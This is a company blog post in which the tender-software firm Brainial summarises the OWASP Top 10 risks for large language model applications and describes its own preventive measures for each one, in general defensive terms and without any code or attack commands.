The need for LLM security guidelines

With great power comes great responsibility, and the deployment of large language models presents unique security challenges that require a tailored set of OWASP guidelines

At Brainial we are ISO 27001 certified to ensure safety of the data our clients upload to their Brainial AI based Tender Assistant. We apply the OWASP standard as it It provides a comprehensive set of guidelines and best practices to identify and mitigate common security risks in web applications.

‍

As technology continues to evolve, large language models (LLMs), such as GPT-X, ChatGPT and its successors, have become more prevalent. LLMs refer to machine learning models trained on huge amounts of data and deployed in apps like ChatGPT. GPT-4 from OpenAI, BERT and LaMDA 2 from Google and RoBERTa or LLaMA 2 from Meta are examples of LLMs. These models have the capability to generate human-like text, making them a valuable tool for tasks like natural language processing, content generation and digital assistants.

‍

At Brainial we also leverage, train and finetune our own LLM models (for example our proprietary TenderGPT model) that we use in the tendering process, for example to summarise data, answer questions on tenders and to generate answers and draft text to enable AI assisted proposal writing.

LMMs are very powerful, however with great power comes great responsibility, and the deployment of large language models presents unique security challenges that require a tailored set of OWASP guidelines.

‍

The OWASP Top 10 for Large Language Model Applications

‍

The OWASP Top 10 for Large Language Model Applications project aims to educate developers, designers, architects, managers, and organisations about the potential security risks when deploying and managing Large Language Models (LLMs). The project provides a list of the top 10 most critical vulnerabilities often seen in LLM applications, highlighting their potential impact, ease of exploitation, and prevalence in real-world applications.

Examples of vulnerabilities include prompt injections, data leakage, inadequate sandboxing, and unauthorised code execution, among others. The goal is to raise awareness of these vulnerabilities, suggest remediation strategies, and ultimately improve the security posture of LLM applications.

‍

‍

How we apply the LLM OWASP Top 10 At Brainial

When training, fine-tuning and implementing Large Language Models into our application we check and validate against the common LLM OWASP vulnerabilities. This ensures a safe use of LLM technology and data safety for our customers LLM models and data.

‍

At Brainial we apply the following checks and preventive measures.

‍

LLM01: Prompt Injection

Attackers can manipulate LLM’s through crafted inputs, causing it to execute the attacker's intentions. This can be done directly by adversarially prompting the system prompt or indirectly through manipulated external inputs, potentially leading to data exfiltration, social engineering, and other issues.

‍

Vulnerabilities:

• Direct prompt injections overwrite system prompts
• Indirect prompt injections hijack the conversation context
• A user employs an LLM to summarise text data containing an indirect prompt injection

Our preventive measures:

• Privilege control is enforced on LLM access to backend systems
• Human in the loop is enforced for actionable functionality
• External content is segregated from user prompts

‍

LLM02: Insecure Output Handling

Insecure Output Handling is a vulnerability that arises when a downstream component blindly accepts large language model (LLM)output without proper scrutiny. This can lead to XSS and CSRF in web browsers as well as SSRF, privilege escalation, or remote code execution on backend systems.

‍

Vulnerabilities:

• LLM output is entered directly into a system shell or similar function, resulting in remote code execution
• JavaScript or Markdown is generated by the LLM and returned to a user, resulting in XSS

Our preventive measures:

• Proper output validation is applied on responses coming from the model to backend functions
• Output coming from the model back to users is encoded to mitigate undesired code interpretations

‍

LLM03: Training Data Poisoning

Training Data Poisoning refers to manipulating the data or fine-tuning process to introduce vulnerabilities, backdoors or biases that could compromise the model’s security, effectiveness or ethical behaviour. This risks performance degradation, downstream software exploitation and reputational damage.

‍

Vulnerabilities:

• A malicious actor creates inaccurate or malicious documents targeted at a model’s training data
• The model trains using falsified information or unverified data which is reflected in output

Our preventive measures:

• We verify the legitimacy of targeted data sources during both the training and fine-tuning stages
• Data for different models are separated during training
• Training is done in isolated training pipelines

‍

LLM04: Model Denial of Service

Model Denial of Service occurs when an attacker interacts with a Large LanguageModel (LLM) in a way that consumes an exceptionally high amount of resources.This can result in a decline in the quality of service for them and other users, as well as potentially incurring high resource costs.

‍

Vulnerabilities:

• Posing queries that lead to recurring resource usage through high volume generation of tasks in a queue
• Sending queries that are unusually resource-consuming
• Continuous input overflow: An attacker sends a stream of input to the LLM that exceeds its context window

Our preventive measures:

• Rate limiting is enforced to restrict the number of requests an individual user or IP address can make
• Implement input validation and sanitisation to ensure input adheres to defined limits and context window, and cap resource use per request or step

‍

LLM05: Model Chain Vulnerabilities

Model chain vulnerabilities in LLMs can compromise training data, ML models, and deployment platforms, causing biased results, security breaches, or total system failures. Such vulnerabilities can stem from outdated software, susceptible pre-trained models, poisoned training data, and insecure plugin designs.

‍

Vulnerabilities:

• Fine-tuning with a vulnerable pre-trained model
• Lack of visibility into the inference chain
• Utilising deprecated, outdated or unmaintained models

Our preventive measures:

• We apply MLOps best practices for our own models
• External models are validated using model and code signing
• We monitor pipelines for vulnerabilities and maintain a patching policy

‍

LLM06: Sensitive Information Disclosure

LLM applications can inadvertently disclose sensitive information, proprietary algorithms, or confidential data, leading to unauthorised access, intellectual property theft, and privacy breaches. To mitigate these risks, LLM applications should employ data sanitisation, implement appropriate usage policies, and restrict the types of data returned by the LLM.

‍

Vulnerabilities:

• Unintended disclosure of confidential information due to errors
• Overfitting or memorising sensitive data during training
• Crafted prompts used to bypass input filters and reveal sensitive data

Our preventive measures:

• The rule of least privilege is applied when training models
• Robust input validation and sanitisation is applied
• A secure model chain and strict access control are enforced by design

‍

LLM07: Insecure Plugin Design

Plugins can be prone to malicious requests leading to harmful consequences like data exfiltration, remote code execution, and privilege escalation due to insufficient access controls and improper input validation. Developers must follow robust security measures to prevent exploitation, like strict parameterised inputs and secure access control guidelines.

‍

Vulnerabilities:

• Authentication without explicit authorization to a particular plugin
• Plugins accepting all parameters in a single text field or as raw code, SQL or programming statements
• Attackers craft requests to inject their own content with controlled domains

Our preventive measures:

• We stay away from using plugins or standard chat interfaces like ChatGPT, instead we develop our own code according to our own software development standards that is based on common best practices

‍

LLM08: Excessive Functionality or Access

Excessive Agency in LLM-based systems/agents is a vulnerability caused by over-functionality, excessive permissions, or too much autonomy. To prevent this, developers need to limit plugin or agent functionality, permissions, and autonomy to what's absolutely necessary, track user authorization, require human approval for all actions, and implement authorization in downstream systems.

‍

Vulnerabilities:

• A LLM agent accesses unnecessary functions from a model
• A LLM agent possesses unneeded permissions and access to functions from other (downstream) systems

Our preventive measures:

• We avoid open-ended functions and deploy models and agents with granular functionality
• Logging and monitoring the activity of LLM models and agents is done by default
• Our motto is "Keep it simple, Keep it secure" and we stick to that when developing and training our models

‍

LLM09: Over-reliance on LLM output

Over-reliance on output from LLMs can lead to serious consequences such as misinformation, legal issues, and security vulnerabilities.It occurs when an LLM is trusted to make critical decisions or generate content without adequate oversight or validation.

‍

Vulnerabilities:

• LLM provides incorrect information
• LLM generates nonsensical text
• Inadequate risk communication from LLM providers

Preventive measures:

• We clearly communicate LLM risks and limitations to our users and in our applications
• Regular monitoring and review of LLM outputs is in place
• We enable Cross-checking of LLM output with trusted sources or in context in our application and ask our users to also check output for correctness.

‍

LLM10: Model Theft

LLM model theft involves unauthorised access to and exfiltration of LLM models, risking economic loss, reputation damage, and unauthorised access to sensitive data.Robust security measures are essential to protect these models.

‍

Vulnerabilities:

• Attacker crafts inputs to collect model outputs
• Side-channel attack to extract model info
• Attacker gains unauthorised access to LLM model
• Leaking of model artifacts and weights

Our preventive measures:

• We have implemented strong access controls, authentication, and we monitor audit and access logs regularly as described in our ISO 27001 policies
• MLOps deployment is automated with governance enforced
• Watermarking the output of our LLMs is part of our R&D efforts

‍

Conclusion

The world of LLMs is still new and can be overwhelming, with a lot of research and experiments still going on and many areas still uncovered. However it is obvious that any company working with a LLM needs guidelines and checks in place and the OWASP standard provides a good starting point. Since NLP technology and LLMs are a core part of our AI powered Tender Assistant we are committed to provide our customers and users with a solution that is safe and can be trusted. That is why we implemented a LLM usage policy and the LLM OWASP guidelines as part of our ISO 27001 certification. Read more about our safety and security measures in our ISO 27001 certification

With Brainial's AI-powered technology, tender teams can easily find and qualify tenders, ensure they don't miss any critical information, get to the bottom of tender documents quickly and thoroughly, and find the information they need quickly and easily. By addressing these challenges, Brainial helps tender teams save time, reduce failure costs, and make more informed bid decisions. Check our AI Powered Tender Assist solution.